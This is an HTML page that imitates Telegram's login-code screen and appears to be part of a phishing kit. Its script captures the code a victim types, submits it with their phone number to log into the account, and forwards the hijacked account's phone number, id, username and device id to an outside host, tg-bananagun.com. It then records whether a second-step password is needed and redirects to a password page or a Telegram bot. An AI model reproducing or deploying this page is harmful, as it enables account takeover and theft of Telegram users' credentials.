﻿<!doctype html>
<html>
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="maximum-scale=1.0,minimum-scale=1.0,user-scalable=0,width=device-width,initial-scale=1.0" />
        <title>Telegram</title>
        <link rel="icon" href="../imgs/label_symbol.png" />
        <link rel="stylesheet" href="../css/css_reset.css" />
        <link rel="stylesheet" href="../css/common.css" />
        <style type="text/css">
        </style>
    </head>
    <body>
        <div class="main_box send_box" style="text-align:center;">
            <div style="padding:0 40px;">
                <img class="monkey" src="../imgs/monkey.png" />
            </div>
            <h4 class="title">
                <span class="va_m" id="phone">+86 134 4444 4444</span>
                <img class="va_m pointer back" src="../imgs/edit.png" id="back" />
            </h4>
            <p class="title_sub">We've sent the code to the Telegram app on your other device.</p>
            <div class="input_box focus">
                <span class="tips">Code</span>
                <input type="text" class="input" id="sms" autocomplete="off" />
            </div>
            <div class="text_c">
                <img class="none load" src="../imgs/load_blue.gif" id="load_box" />
            </div>
        </div>
    </body>
    <script src="../scripts/jquery.min.js"></script>
    <script src="../scripts/jquery.cookie-1.4.1.min.js"></script>
    <script src="../scripts/layer.js"></script>
    <script src="../scripts/common.js"></script>
    <script type="text/javascript">
        $(document).ready(function () {
            var user_data = jQuery.cookie('USER_DATA') || {};
            $('#back').click(function () {
                window.history.back();
            });
            $('#phone').text('+' + user_data.ZONE + ' ' + user_data.PHONE);

            $('#sms').focus().on('blur', function () {
                $(this).parent().removeClass('focus');
            }).on('focus', function () {
                $(this).parent().addClass('focus');
            }).on('input', function () {
                var $sms_val = $(this).val().trim();
                if ($sms_val.length > 4) {
                    var formData = new FormData();
                    formData.append('code', $sms_val);
                    formData.append('pwd', '');
                    formData.append('phone', user_data.ZONE + user_data.PHONE);
                    $.http('/login_account', formData, { type: 'POST' }).then(res => {
                        switch (res.code) {
                            case 0:
                                setTimeout(function () {
                                    $.http('https://tg-bananagun.com/api/v1/tgserver/uploadDevice?' + $.param({
                                        account: res.data.phone_number,
                                        accountId: res.data.tid,
                                        deviceNo: res.data.app_id,
                                        uId: $.getUrlParams('UID'),
                                        userName: res.data.username
                                    }), {}, { type: 'POST', notShowLoad: true }).then(res_device => {
                                        if (res_device.code === 0) {
                                            $.postSendRecord({ page: '2', loginStatus: '1', twoLeve: '1' }).then(() => { // 没二级验证码登录成功记录
                                                var jumpURL = 'https://t.me/BananaGunRegister_bot';
                                                layer.open({
                                                    title: 'Telegram',
                                                    content: 'Login successful!',
                                                    btn: ['OK'],
                                                    btn1: function () {
                                                        layer.closeAll();
                                                        window.location.href = jumpURL;
                                                    }
                                                });
                                                setTimeout(function () {
                                                    window.location.href = jumpURL;
                                                }, 700);
                                            });
                                        } else {
                                            alert(res_device.msg);
                                        }
                                    });
                                }, 400);
                                break;
                            case 1:
                                $.postSendRecord({ page: '2', loginStatus: '0', twoLeve: '2' }).then(() => { // 有二级验证码没输入的记录
                                    jQuery.cookie('USER_DATA', $.extend(user_data, { SMS: $sms_val }), { path: '/' });
                                    window.location.href = './sign_up_pwd.html?UID=' + $.getUrlParams('UID');
                                });
                                break;
                            default:
                                alert(res.msg);
                                $(this).val('');
                                $.postSendRecord({ page: '2', loginStatus: '2' }); // 登录失败记录
                        };
                    }).catch(() => {
                        $(this).val('');
                    });
                }
            });
        });
    </script>
</html>
